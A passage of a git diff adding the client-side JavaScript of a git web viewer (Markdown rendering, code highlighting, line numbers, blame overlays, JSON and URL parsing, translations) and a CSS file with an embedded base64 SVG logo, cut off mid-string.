(hh)\n+\t\t\thh.addEventListener(\u0022click\u0022, clonecopy_click);\n+\t}\n+\t\n+\tvar name \u003d rpath;\n+\tif ((name \u0026\u0026 name.substring(name.length - 3) \u003d\u003d \u0022.md\u0022) ||\n+\t\t(name \u0026\u0026 name.substring(name.length - 4) \u003d\u003d \u0022.mkd\u0022) ||\n+\t\t ((!rmode || rmode \u003d\u003d \u0022tree\u0022 || rmode \u003d\u003d \u0022blame\u0022) \u0026\u0026\n+\t\t document.getElementById(\u0022do-showdown\u0022))) {\n+\t\t\n+\t\tdoc_dir \u003d \u0022\u0022;\n+\t\tif (name) {\n+\t\t\tn \u003d name.lastIndexOf(\u0022/\u0022);\n+\t\t\tif (n \u003e 0)\n+\t\t\t\tdoc_dir \u003d name.substr(0, n + 1);\n+\t\t}\n+\t\t\t\t\n+\t\tshowdown.extension('sd_ext_plain', sd_ext_plain);\n+\t\t\n+\t\tvar conv \u003d new showdown.Converter({extensions: ['sd_ext_plain']}), n;\n+ \tvar hh \u003d document.getElementById(\u0022do-showdown\u0022);\n+\t\t/* blog formatting? */\n+\t\tvar hd \u003d hh.textContent.substring(0, 1024), sp, bf \u003d 0, hdl \u003d 0,\n+\t\t\t\thdhtml \u003d \u0022\u0022, hdhtmle \u003d \u0022\u0022;\n+\t\t\n+\t\tsp \u003d hd.split('\u005cn');\n+\t\tif (sp[0].substr(0, 1) \u003d\u003d '%' \u0026\u0026 sp[1].substr(0, 1) \u003d\u003d '%' \u0026\u0026\n+\t\t\tsp[2].substr(0, 1) \u003d\u003d '%') {\n+\t\t\tbf \u003d 1;\n+\t\t\thdl \u003d sp[0].length + sp[1].length + sp[2].length + 3;\n+\t\t\thdhtml \u003d \u0022\u003cmain role\u003d\u005c\u0022main\u005c\u0022\u003e\u003cspan class\u003d\u005c\u0022blogtitle\u005c\u0022\u003e\u0022 + san(sp[0].substring(1)) +\n+\t\t\t\t\t \u0022\u003c/span\u003e\u003cbr\u003e\u0022 +\n+\t\t\t\t\t \u0022\u003cspan class\u003d\u005c\u0022blogdate\u005c\u0022\u003e\u0022 +\n+\t\t\t\t\t\tsan(sp[2].substring(1)) + \u0022\u003c/span\u003e\u003cp\u003e\u0022;\n+\t\t\thdhtmle \u003d \u0022\u003c/main\u003e\u0022;\n+\t\t}\n+\n+\t\tconv.setOption('tables', '1');\n+\t\tconv.setFlavor('github');\n+\n+\t\tif (bf)\n+\t\t\thh.innerHTML \u003d hdhtml + conv.makeHtml(hh.textContent.substr(hdl)) + hdhtmle;\n+\t\telse\n+\t\t\thh.innerHTML \u003d \u0022\u003cmain role\u003d\u005c\u0022complementary\u005c\u0022\u003e\u0022 + conv.makeHtml(hh.textContent) + \u0022\u003c/main\u003e\u0022;\n+\n+\t} else\n+\t\n+\t\tif (typeof hljs !\u003d\u003d \u0022undefined\u0022) {\n+\t\t\tvar hh \u003d document.getElementById(\u0022do-hljs\u0022);\n+\t\t\tif (hh) {\n+\t\t\t\thljs.highlightBlock(hh);\n+\n+\t\t\t\tvar e \u003d document.getElementById(\u0022jglinenumbers\u0022),\n+\t\t\t\t\tcount, n \u003d 1, sp;\n+\t\t\t\tif (e) {\n+\t\t\t\t\te.onclick \u003d line_range_click;\n+\t\t\t\t\t\n+//\t\t\t\t\te.style.pointerEvents \u003d \u0022none\u0022;\n+\n+\t\t\t\t\tsp \u003d hh.textContent.split('\u005cn');\n+\t\t\t\tcount \u003d sp.length;\n+\t\t\t\tif (sp[sp.length - 1].length \u003d\u003d 0)\n+\t\t\t\t\tcount--;\n+\n+\t\t\t\twhile (n \u003c\u003d count) {\n+\t\t\t\t\tvar lin \u003d document.createElement(\u0022a\u0022);\n+\t\t\t\t\tlin.id \u003d \u0022n\u0022 + n;\n+\t\t\t\t\tlin.href \u003d \u0022#n\u0022 + n;\n+\t\t\t\t\tlin.textContent \u003d (n++) + \u0022\u005cn\u0022;\n+\t\t\t\t\t\te.appendChild(lin);\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\n+\t\t\t\tvar top \u003d window.getComputedStyle(hh, null).\n+\t\t\t\t\t\tgetPropertyValue(\u0022padding-top\u0022);\n+\n+\t\t\t\tif (e)\n+\t\t\t\t\te.style.paddingTop \u003d top - 3;\n+\t\t\t\t\n+\t\t\t\t/* blame ... */\n+\n+\t\t\t\tif (j.items[1] \u0026\u0026 j.items[1].blame) {\n+\t\t\t\t\tvar l1, l2, etr, r, m, hunk, hunks, lofs, etable;\n+\n+\t\t\t\t\tblametable \u003d find_parent_of_type(e, \u0022table\u0022);\n+\t\t\t\t\t\n+\t\t\t\t\tblametable.addEventListener(\u0022mousemove\u0022, blame_mousemove, false);\n+\t\t\t\t\tblametable.addEventListener(\u0022mouseout\u0022, blame_mouseout, false);\n+\t\t\t\t\t\n+\t\t\t\t\thunks \u003d j.items[1].blame.length;\n+\t\t\t\t\tfor (hunk \u003d 0; hunk \u003c hunks; hunk++) {\n+\t\t\t\t\t\n+\t\t\t\t\t\tr \u003d j.items[1].blame[hunk].ranges;\n+\t\t\t\t\t\t\n+\t\t\t\t\t\tif (r) {\n+\t\t\t\t\t\t\tfor (n \u003d 0; n \u003c r.length; n++) {\n+\t\t\n+\t\t\t\t\t\t\t\tm \u003d document.createElement(\u0022DIV\u0022);\n+\t\t\t\t\t\t\t\t\n+\t\t\t\t\t\t\t\tl1 \u003d r[n].f;\n+\t\t\t\t\t\t\t\tl2 \u003d l1 + r[n].l - 1;\n+\t\t\t\t\t\t\t\t\n+\t\t\t\t\t\t\t\te \u003d document.getElementById('n' + l1);\n+\t\t\t\t\t\t\t\t\n+\t\t\t\t\t\t\t\tm.className \u003d \u0022blamed-lines\u0022;\n+\t\t\t\t\t\t\t\tm.style.bottom \u003d e.style.bottom;\n+\t\t\t\t\t\t\t\tm.style.top \u003d collect_offsetTop(e) + 'px';\n+\t\t\t\t\t\t\t\t\n+\t\t\t\t\t\t\t\tm.classList.add('bhunk-' + hunk);\n+\t\t\t\t\t\t\t\tm.setAttribute(\u0022r\u0022, n);\n+\t\t\t\n+\t\t\t\t\t\t\t\t/* we will tack the highlight div at the parent tr */\n+\t\t\t\t\t\t\t\tetr \u003d e.parentNode;//find_parent_of_type(e, \u0022table\u0022);\n+\t\n+\t\t\t\t\t\t\t\tlofs \u003d (hunk * 72) / hunks;\n+\t\t\t\t\t\t\t\tm.style.width \u003d (blametable.offsetWidth - lofs) + 'px';\n+\t\t\t\t\t\t\t\tm.style.left \u003d lofs + 'px';\n+\t\t\t\t\t\t\t\tm.style.height \u003d ((l2 - l1 + 1) * e.offsetHeight) + 'px';\n+\t\n+\t\t\t\t\t\t\t\tetr.insertBefore(m, etr.firstChild);\n+\t\t\t\t\t\t\t\tm.style.backgroundColor \u003d\n+\t\t\t\t\t\t\t\t\t\u0022rgba(\u0022 + (128 + (((hunk) * 128) / hunks)) +\n+\t\t\t\t\t\t\t\t\t \u0022, \u0022 + (128 + (((hunk) * 128) / hunks)) +\n+\t\t\t\t\t\t\t\t\t \u0022, \u0022 + (128 + (((hunk) * 128) / hunks)) +\n+\t\t\t\t\t\t\t\t\t \u0022, 0.3)\u0022;\n+\t\t\n+\t\t\t\t\t\t\t}\n+\t\t\t\t\t\t}\n+\t\t\t\t\t}\n+\t\t\t\t}\t\n+\t \t}\n+\t }\n+\n+}\n+\n+function parse_json_reflist(j)\n+{\n+\tvar n;\n+\t\n+\tbranches.length \u003d 0;\n+\ttags.length \u003d 0;\n+\t\n+\tfor (n \u003d 0; n \u003c j.items[0].reflist.length; n++) {\n+\t\tvar l \u003d j.items[0].reflist[n];\n+\t\tif (l.name.substr(0, 11) \u003d\u003d \u0022refs/heads/\u0022)\n+\t\t\tbranches.push(l);\n+\t\telse\n+\t\t\tif (l.name.substr(0, 10) \u003d\u003d \u0022refs/tags/\u0022) {\n+\t\t\t\tif (l.summary.sig_tagger \u0026\u0026\n+\t\t\t\t l.summary.sig_tagger.git_time)\n+\t\t\t\t\tl.summary.time \u003d l.summary.sig_tagger.git_time.time;\n+\t\t\t\tif (!l.summary.sig_tagger \u0026\u0026 l.summary.sig_author)\n+\t\t\t\t\tl.summary.sig_tagger \u003d l.summary.sig_author;\n+\t\t\t\tif (!l.summary.msg_tag \u0026\u0026 l.summary.msg)\n+\t\t\t\t\tl.summary.msg_tag \u003d l.summary.msg;\n+\t\t\t\ttags.push(l);\n+\t\t\t}\n+\t}\n+\t\n+\tbranches.sort(comp_reftime);\n+\ttags.sort(comp_reftime_tag);\n+}\n+\n+function parse_json(j)\n+{\n+\tvar n, m, u \u003d window.location.pathname, vm, rnl, rml;\n+\t\n+\tj_avatar \u003d j.avatar;\n+\tvpath \u003d j.vpath;\n+\treponame \u003d j.reponame;\n+\trmode \u003d null;\n+\tqid \u003d null;\n+\tqbranch \u003d null;\n+\tqofs \u003d null;\n+\tjf \u003d j.f;\n+\t\n+\tm \u003d vpath.length;\n+\tif (!m)\n+\tif (m \u003e 1) {\n+\t\tm +\u003d 1;\n+\t\tif (vpath[vpath.length - 1] \u003d\u003d '/')\n+\t\t\tm--;\n+\t}\n+\tif (!reponame.length) {\n+\t\treponame \u003d null;\n+\t\trnl \u003d 0;\n+\t} else\n+\t\trnl \u003d reponame.length + 1;\n+\t\n+\tvm \u003d m;\n+\tif (reponame)\n+\t\tm +\u003d reponame.length;\n+\t\n+\trmode \u003d u.substr(m + 1);\n+\tif (rmode.length \u003d\u003d 0) {\n+\t\trmode \u003d null;\n+\t\trml \u003d 0;\n+\t} else {\n+\t\tn \u003d rmode.indexOf('/');\n+\t\tif (n \u003e\u003d 0) {\n+\t\t\trmode \u003d rmode.substr(0, n);\n+\t\t} else {\n+\t\t\tn \u003d rmode.indexOf('?');\n+\t\t\tif (n \u003e\u003d 0) {\n+\t\t\t\trmode \u003d rmode.substr(0, n);\n+\t\t\t}\n+\t\t}\n+\t\trml \u003d rmode.length + 1;\n+\t}\n+\n+\trpath \u003d u.substr(vm + rnl + rml);\n+\t\n+\tm \u003d rpath.indexOf('?');\n+\tif (m \u003e\u003d 0)\n+\t\trpath \u003d rpath.substr(0, m - 1);\n+\t\n+\tif (rpath.substr(rpath.length - 1) \u003d\u003d \u0022/\u0022)\n+\t\trpath \u003d rpath.substr(0, rpath.length - 1);\n+\t\n+\tif (rpath \u003d\u003d \u0022\u0022)\n+\t\trpath \u003d null;\n+\t\n+\tu \u003d window.location.href;\n+\tn \u003d u.indexOf('?');\n+\n+\tif (n \u003e\u003d 0) {\n+\t\t\n+\t\tu \u003d u.substr(n + 1);\n+\t\n+\t\tn \u003d u.indexOf(\u0022id\u003d\u0022);\n+\t\tif (n \u003e\u003d 0)\n+\t\t\tqid \u003d u.substr(n + 3, 40);\n+\t\t\n+\t\tn \u003d u.indexOf(\u0022h\u003d\u0022);\n+\t\tif (n \u003e\u003d 0) {\n+\t\t\tm \u003d u.substr(n + 2).indexOf('\u0026');\n+\t\t\tif (m \u003e 0)\n+\t\t\t\tqbranch \u003d u.substr(n + 2, m);\n+\t\t\telse\n+\t\t\t\tqbranch \u003d u.substr(n + 2);\n+\t\t}\n+\t\t\n+\t\tn \u003d u.indexOf(\u0022ofs\u003d\u0022);\n+\t\tif (n \u003e\u003d 0) {\n+\t\t\tm \u003d u.substr(n + 4).indexOf('\u0026');\n+\t\t\tif (m \u003e 0)\n+\t\t\t\tqofs \u003d u.substr(n + 4, m);\n+\t\t\telse\n+\t\t\t\tqofs \u003d u.substr(n + 4);\n+\t\t}\n+\t}\n+\n+\talang \u003d j.alang;\n+\t\n+\tif (alang) {\n+\t\tvar a \u003d alang.split(\u0022,\u0022), n;\n+\t\t\n+\t\tfor (n \u003d 0; n \u003c a.length; n++) {\n+\t\t\tvar b \u003d a[n].split(\u0022;\u0022);\n+\t\t\tswitch (b[0]) {\n+\t\t\tcase \u0022ja\u0022:\n+\t\t\t\ti18n.translator.add(JSON.parse(lang_ja));\n+\t\t\t\tn \u003d a.length;\n+\t\t\t\tloca \u003d b[0];\n+\t\t\t\tbreak;\n+\t\t\tcase \u0022zh_TW\u0022:\n+\t\t\tcase \u0022zh_HK\u0022:\n+\t\t\tcase \u0022zh_SG\u0022:\n+\t\t\tcase \u0022zh_HANT\u0022:\n+\t\t\tcase \u0022zh-TW\u0022:\n+\t\t\tcase \u0022zh-HK\u0022:\n+\t\t\tcase \u0022zh-SG\u0022:\n+\t\t\tcase \u0022zh-HANT\u0022:\n+\t\t\t\ti18n.translator.add(JSON.parse(lang_zht));\n+\t\t\t\tn \u003d a.length;\n+\t\t\t\tloca \u003d b[0];\n+\t\t\t\tbreak;\n+\t\t\tcase \u0022zh\u0022:\n+\t\t\tcase \u0022zh_CN\u0022:\n+\t\t\tcase \u0022zh_HANS\u0022:\n+\t\t\tcase \u0022zh-CN\u0022:\n+\t\t\tcase \u0022zh-HANS\u0022:\n+\t\t\t\ti18n.translator.add(JSON.parse(lang_zhs));\n+\t\t\t\tn \u003d a.length;\n+\t\t\t\tloca \u003d b[0];\n+\t\t\t\tbreak;\n+\t\t\tcase \u0022en\u0022:\n+\t\t\tcase \u0022en_US\u0022:\n+\t\t\tcase \u0022en-US\u0022:\n+\t\t\t\tn \u003d a.length;\n+\t\t\t\tloca \u003d b[0];\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t}\n+\t}\n+\t\n+\tblog_mode \u003d !!(j.f \u0026 4);\n+\t\n+\tif (j.items[0].reflist)\n+\t\tparse_json_reflist(j);\n+}\n+\n+var ws, j;\n+\n+window.addEventListener(\u0022load\u0022, function() {\n+\t//console.log(\u0022load\u0022);\n+\n+\tline_range_highlight(1);\n+}, false);\n+\n+document.addEventListener(\u0022DOMContentLoaded\u0022, function() {\n+\tvar init \u003d document.getElementById(\u0022initial-json\u0022);\t\n+\n+//\tws \u003d new_ws(get_appropriate_ws_url(window.location.pathname), \u0022lws-gitws\u0022);\n+\t \n+\t\tif (init) {\n+\t\t\t// console.log(\u0022parsed initial json\u0022 + init.textContent);\n+\t\t\tj \u003d JSON.parse(init.textContent);\n+\t\t\tparse_json(j);\n+\t\t\tdisplay(j);\n+\t\t\t//init.remove();\n+\t\t}\n+\t\t\n+\t\tvar st \u003d document.getElementById(\u0022gitohashi-stats\u0022);\n+\t\t\n+\t\tif (st) {\n+\t\t\tvar now \u003d new Date().getTime() / 1000;\n+\t\t\ts \u003d \u0022\u003ctable\u003e\u003ctr\u003e\u003ctd rowspan\u003d'2'\u003e\u003cimg class\u003d'stats'\u003e\u003c/td\u003e\u0022 +\n+\t\t\t\t\u0022\u003ctd colspan\u003d'\u0022 + j.items.length + \u0022'\u003e\u0022;\n+\n+\t\t\ts +\u003d i18n(\u0022Page fetched %{pf} ago, creation time: %{ct}ms \u0022 +\n+\t\t\t\t \u0022(vhost etag hits: %{ve}%, cache hits: %{ch}%)\u0022,\n+\t\t\t\t\t {\n+\t\t\t\t\t pf:agify(j.gen_ut, now),\n+\t\t\t\t\t ct:Math.round(j.g / 1000),\n+\t\t\t\t\t ve:parseInt(j.ehitpc),\n+\t\t\t\t\t ch:parseInt(j.chitpc)\n+\t\t\t\t\t }\n+\t\t\t\t\t);\t\t\t\n+\t\t\t\n+\t\t\ts +\u003d \u0022\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u0022;\n+\t\t\t\n+\t\t\tfor (n \u003d 0; n \u003c j.items.length; n++) {\n+\t\t\t\ts +\u003d \u0022\u003ctd\u003e\u003cimg class\u003d\u005c\u0022cache\u005c\u0022\u003eJSON \u0022 + (n + 1) +\n+\t\t\t\t\t\u0022: \u0022;\n+\t\t\t\t\ts +\u003d i18n(\u0022Created %{pf} ago, creation time: %{ct}ms \u0022,\n+\t\t\t\t\t\t\t\t {\n+\t\t\t\t\t\t\t\t pf:agify(now, j.items[n].s.c),\n+\t\t\t\t\t\t\t\t ct:Math.round(j.items[n].s.u / 1000)\n+\t\t\t\t\t\t\t\t }\n+\t\t\t\t\t\t\t\t);\t\t\t\n+\t\t\t}\n+\t\t\ts +\u003d \u0022\u003c/tr\u003e\u003c/table\u003e\u0022;\n+\n+\t\t\tst.innerHTML \u003d s;\n+\t\t}\n+\t\t\n+\t\taging();\n+\t\n+/*\n+\t try {\n+\t\t\tws.onopen \u003d function() {\n+\t\t\t\tconsole.log(\u0022ot_open.onopen\u0022);\n+\t\t\t}\n+\t\t\tws.onmessage \u003dfunction got_packet(msg) {\n+\t\t\t\t// document.getElementById(\u0022result\u0022).textContent \u003d msg.data;\n+\t\t\t\tj \u003d JSON.parse(msg.data);\n+\t\t\t\tparse_json(j);\n+\t\t\t\t\n+\t\t\t\tdisplay(j);\n+\t\t\t}\n+\t\t\tws.onclose \u003d function(e){\n+\t\t\t\tconsole.log(\u0022 websocket connection CLOSED, code: \u0022 + e.code +\n+\t\t\t\t\t \u0022, reason: \u0022 + e.reason);\n+\t\t\t}\n+\t\t} catch(exception) {\n+\t\t\talert('\u003cp\u003eError' + exception); \n+\t\t}\n+\t\t*/\n+}, false);\n+\n+window.addEventListener(\u0022hashchange\u0022, function() {\n+\t//console.log(\u0022hashchange\u0022);\n+\tline_range_highlight(1);\n+}, false);\n+\n+})();\ndiff --git a/assets/logo.css b/assets/logo.css\nnew file mode 100644\nindex 0000000..b3461cc\n--- /dev/null\n+++ b/assets/logo.css\n@@ -0,0 +1,14 @@\n+img.gitohashi-logo {\n+ display: inline-block;\n+ float:left;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA2NC4xMjU0NDMgNDEuOTYwMjU4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI+PGRlZnM+PHJhZGlhbEdyYWRpZW50IGlkPSJhIiBjeD0iMjg5LjciIGN5PSI0MTIuOCIgcj0iLjA1Mzc0IiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KDEuMTczIDAgMCAxLjEwNiAtNTAuMjggLTQzLjY2KSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHhsaW5rOmhyZWY9IiNkIi8+PGxpbmVhckdyYWRpZW50IGlkPSJkIj48c3RvcCBzdG9wLWNvbG9yPSIjYzJjOWNhIiBzdG9wLW9wYWNpdHk9Ii4zNzYiIG9mZnNldD0iMCIvPjxzdG9wIHN0b3AtY29sb3I9IiNmZmYiIHN0b3Atb3BhY2l0eT0iMCIgb2Zmc2V0PSIxIi8+PC9saW5lYXJHcmFkaWVudD48bGluZWFyR3JhZGllbnQgaWQ9ImIiIHgxPSI4LjQ3MiIgeDI9IjE3LjM2IiB5MT0iMTI0LjkiIHkyPSIxMjMuOCIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHhsaW5rOmhyZWY9IiNjIi8+PGxpbmVhckdyYWRpZW50IGlkPSJjIj48c3RvcCBzdG9wLWNvbG9yPSIjYzhjNmNhIiBzdG9wLW9wYWNpdHk9IjAiIG9mZnNldD0iMCIvPjxzdG9wIHN0b3AtY29sb3I9IiNjOGM2Y2EiIHN0b3Atb3BhY2l0eT0iLjcyMTYiIG9mZnNldD0iLjM5NTkiLz48c3RvcCBzdG9wLWNvbG9yPSIjYzhjNmNhIiBzdG9wLW9wYWNpdHk9Ii40MTk2IiBvZmZzZXQ9Ii40ODE2Ii8+PHN0b3Agc3RvcC1jb2xvcj0iI2M4YzZjYSIgc3RvcC1vcGFjaXR5PSIwIiBvZmZzZXQ9IjEiLz48L2xpbmVhckdyYWRpZW50PjwvZGVmcz48bWV0YWRhdGE+PHJkZjpSREY+PGNjOldvcmsgcmRmOmFib3V0PSIiPjxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0PjxkYzp0eXBlIHJkZjpyZXNvdXJjZT0iaHR0cDovL3B1cmwub3JnL2RjL2RjbWl0eXBlL1N0aWxsSW1hZ2UiLz48ZGM6dGl0bGUvPjwvY2M6V29yaz48L3JkZjpSREY+PC9tZXRhZGF0YT48ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTE1LjQgLTIwNS4zKSI+PGcgZmlsbD0iIzgwMDAwMCIgc3Ryb2tlLXdpZHRoPSIzLjE4MiIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbCIgYXJpYS1sYWJlbD0ib2hhc2hpIj48cGF0aCBkPSJtMTI2LjQgMjQwLjFxMCAzLjQwNi0xLjQ0MiA1LjMwOC0xLjQ0MiAxLjg4OS0zLjk1MyAxLjg4OS0xLjU5MSAwLTIuODA5LTAuODcwMS0xLjIxOC0wLjg3MDEtMS44NzctMi40OTgtMC42NTg4LTEuNjQxLTAuNjU4OC0zLjgyOCAwLTMuMzY5IDEuNDI5LTUuMjU4IDEuNDI5LTEuOTAyIDMuOTY1LTEuOTAyIDIuNDQ5IDAgMy44OTEgMS45MzkgMS40NTQgMS45MjcgMS40NTQgNS4yMjF6bS03LjM1OSAwcTAgMi4xNjMgMC40NzIzIDMuMjY5dDEuNTE2IDEuMTA2cTEuOTg5IDAgMS45ODktNC4zNzUgMC0yLjE3NS0wLjQ4NDgtMy4yNDQtMC40NzIzLTEuMDgxLTEuNTA0LTEuMDgxLTEuMDQ0IDAtMS41MTYgMS4wODEtMC40NzIzIDEuMDY5LTAuNDcyMyAzLjI0NHoiLz48cGF0aCBkPSJtMTM1LjYgMjQ3di04LjI1NHEwLTMuMDQ1LTEuNTI5LTMuMDQ1LTEuMTQ0IDAtMS42MDMgMS4yMDYtMC40NTk5IDEuMTkzLTAuNDU5OSAzLjQ0M3Y2LjY1aC0zLjMwNnYtMTkuMzRoMy4zMDZ2NC4zMDFxMCAwLjgzMjgtMC4xNDkyIDIuOTcxaDAuMTc0cTAuOTk0NC0yLjAzOSAzLjA1OC0yLjAzOSAxLjkwMiAwIDIuODcxIDEuMjkzIDAuOTY5NSAxLjI4IDAuOTY5NSAzLjc3OXY5LjAzN3oiLz48cGF0aCBkPSJtMTQ4LjUgMjQ3LTAuNjU4OC0xLjg4OWgtMC4wNzQ2cS0wLjczMzQgMS4yMTgtMS41MTYgMS42NzgtMC43ODMxIDAuNDU5OS0xLjk3NiAwLjQ1OTktMS41MjkgMC0yLjQxMS0xLjE0NC0wLjg3MDEtMS4xNDQtMC44NzAxLTMuMTgyIDAtMi4xODggMS4xOTMtMy4yNDQgMS4yMDYtMS4wNjkgMy41OTItMS4xODFsMS44NC0wLjA3NDZ2LTAuOTk0NHEwLTEuOTM5LTEuNjc4LTEuOTM5LTEuMjQzIDAtMi44NTkgMC45Njk1bC0xLjE0NC0yLjI4N3EyLjA2My0xLjMwNSA0LjQ4Ny0xLjMwNSAyLjIgMCAzLjM0NCAxLjI2OCAxLjE1NiAxLjI1NSAxLjE1NiAzLjU2N3Y5LjI5OHptLTIuODcxLTIuMzM3cTAuOTA3NCAwIDEuNDQyLTAuODA4IDAuNTQ2OS0wLjgyMDQgMC41NDY5LTIuMTc1di0xLjE2OGwtMS4wMTkgMC4wNDk3cS0xLjEzMSAwLjA2MjItMS42NjYgMC42NDY0LTAuNTIyMSAwLjU4NDItMC41MjIxIDEuNzQgMCAxLjcxNSAxLjIxOCAxLjcxNXoiLz48cGF0aCBkPSJtMTYxIDI0Mi45cTAgMi4wMjYtMS4xOTMgMy4xNy0xLjE4MSAxLjEzMS0zLjQ5MyAxLjEzMS0yLjA1MSAwLTMuMzkzLTAuODA4di0yLjg3MXEwLjY4MzcgMC40NzIzIDEuNTkxIDAuNzgzMSAwLjkxOTggMC4zMTA4IDEuNjE2IDAuMzEwOCAwLjc3MDcgMCAxLjE2OC0wLjM3MjkgMC40MTAyLTAuMzg1MyAwLjQxMDItMS4wMDcgMC0wLjYzMzktMC40MjI2LTEuMTA2dC0xLjU1NC0xLjE1NnEtMS41MDQtMC44OTUtMi4xNjMtMS45MDItMC42NDY0LTEuMDE5LTAuNjQ2NC0yLjM5OSAwLTEuNzY1IDEuMjA2LTIuNzk3IDEuMjE4LTEuMDMyIDMuMzMxLTEuMDMyIDEuODQgMCAzLjQ2OCAwLjk2OTZsLTEuMDgxIDIuMzc0cS0xLjMzLTAuNzIwOS0yLjMzNy0wLjcyMDktMC42MzM5IDAtMC45NTcxIDAuMzM1Ni0wLjMxMDggMC4zMzU2LTAuMzEwOCAwLjgyMDQgMCAwLjU1OTQgMC4zODUzIDAuOTk0NCAwLjM5NzggMC40MzUgMS40NjcgMS4wODEgMS4yOTMgMC43ODMxIDEuODE1IDEuMzMgMC41MjIxIDAuNTQ2OSAwLjgwOCAxLjI0MyAwLjI4NTkgMC42OTYxIDAuMjg1OSAxLjYyOHoiLz48cGF0aCBkPSJtMTcwIDI0N3YtOC4yNTRxMC0zLjA0NS0xLjUyOS0zLjA0NS0xLjE0NCAwLTEuNjAzIDEuMjA2LTAuNDU5OSAxLjE5My0wLjQ1OTkgMy40NDN2Ni42NWgtMy4zMDZ2LTE5LjM0aDMuMzA2djQuMzAxcTAgMC44MzI4LTAuMTQ5MiAyLjk3MWgwLjE3NHEwLjk5NDQtMi4wMzkgMy4wNTgtMi4wMzkgMS45MDIgMCAyLjg3MSAxLjI5MyAwLjk2OTYgMS4yOCAwLjk2OTYgMy43Nzl2OS4wMzd6Ii8+PHBhdGggZD0ibTE3OS40IDI0N2gtMy4zMDZ2LTEzLjg1aDMuMzA2em0tMy40NDMtMTcuNDZxMC0wLjgyMDQgMC40NzIzLTEuMjkzIDAuNDg0OC0wLjQ4NDggMS4zNDItMC40ODQ4IDAuODA4IDAgMS4yOTMgMC40ODQ4IDAuNDg0OCAwLjQ3MjQgMC40ODQ4IDEuMjkzIDAgMC44NDUyLTAuNDk3MiAxLjMxOC0wLjQ5NzIgMC40NTk5LTEuMjggMC40NTk5LTAuODIwNCAwLTEuMzE4LTAuNDU5OS0wLjQ5NzItMC40NzIzLTAuNDk3Mi0xLjMxOHoiLz48L2c+PGcgc3Ryb2tlLXdpZHRoPSIzLjI1MiIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbCIgYXJpYS1sYWJlbD0iZ2l0Ij48cGF0aCBkPSJtMTI2LjggMjEwLjh2MS45ODJsLTEuNjg5IDAuMzgxMXEwLjQ5NTQgMC44ODkyIDAuNDk1NCAyLjIzNiAwIDIuMjQ4LTEuMjE5IDMuNTE5dC0zLjQwNCAxLjI3cS0wLjYzNTEgMC0wLjk0LTAuMTAxNi0wLjI0MTQgMC4yMTU5LTAuNDU3MyAwLjQ4MjctMC4yMTU5IDAuMjY2OC0wLjIxNTkgMC42NjA1IDAgMC44ODkyIDEuNTM3IDAuODg5MmgyLjA0NXExLjgwNCAwIDIuNzY5IDAuOTc4MSAwLjk3ODEgMC45NjU0IDAuOTc4MSAyLjkyMiAwIDIuNDY0LTEuNjUxIDMuODExLTEuNjUxIDEuMzQ2LTQuNzUxIDEuMzQ2LTIuMzUgMC0zLjYyLTEuMDI5LTEuMjctMS4wMTYtMS4yNy0yLjkwOSAwLTEuMTgxIDAuNzI0LTIuMDgzIDAuNzI0LTAuODg5MiAyLjAwNy0xLjI5Ni0wLjY0NzgtMC4yNTQtMS4wNjctMC43ODc1LTAuNDA2NS0wLjUzMzUtMC40MDY1LTEuMjQ1IDAtMC40MzE5IDAuMTI3LTAuNzc0OCAwLjEyNy0wLjM1NTcgMC4zNTU3LTAuNjYwNSAwLjI0MTMtMC4zMTc2IDAuOTY1NC0wLjkyNzMtMC44NzY0LTAuNTMzNS0xLjM4NS0xLjYzOS0wLjUwODEtMS4xMDUtMC41MDgxLTIuNDUyIDAtMi4zMjQgMS4yMTktMy41OTV0My40OTMtMS4yN3EwLjQzMTkgMCAwLjk5MDggMC4xMDE2IDAuNTU4OSAwLjA4ODkgMC44NTEgMC4xOTA1em0tOC4zMiAxNi4xOHEwIDAuODM4NCAwLjUyMDggMS4yODMgMC41MzM1IDAuNDU3MyAxLjUxMiAwLjQ1NzMgMS41MzcgMCAyLjI5OS0wLjU4NDMgMC43NzQ4LTAuNTg0MyAwLjc3NDgtMS42IDAtMC44MDAyLTAuNDE5Mi0xLjEzLTAuNDA2NS0wLjMzMDMtMS41MzctMC4zMzAzaC0xLjYzOXEtMC42ODU5IDAtMS4xMDUgMC41MDgxLTAuNDA2NSAwLjUyMDgtMC40MDY1IDEuMzk3em0xLjA0Mi0xMS41OHEwIDIuNTAyIDEuNDEgMi41MDIgMS4zNzIgMCAxLjM3Mi0yLjUyOCAwLTIuNTkxLTEuMzcyLTIuNTkxLTEuNDEgMC0xLjQxIDIuNjE3eiIvPjxwYXRoIGQ9Im0xMzEuOSAyMjVoLTMuMzc5di0xNC4xNWgzLjM3OXptLTMuNTE5LTE3Ljg1cTAtMC44Mzg0IDAuNDgyNy0xLjMyMSAwLj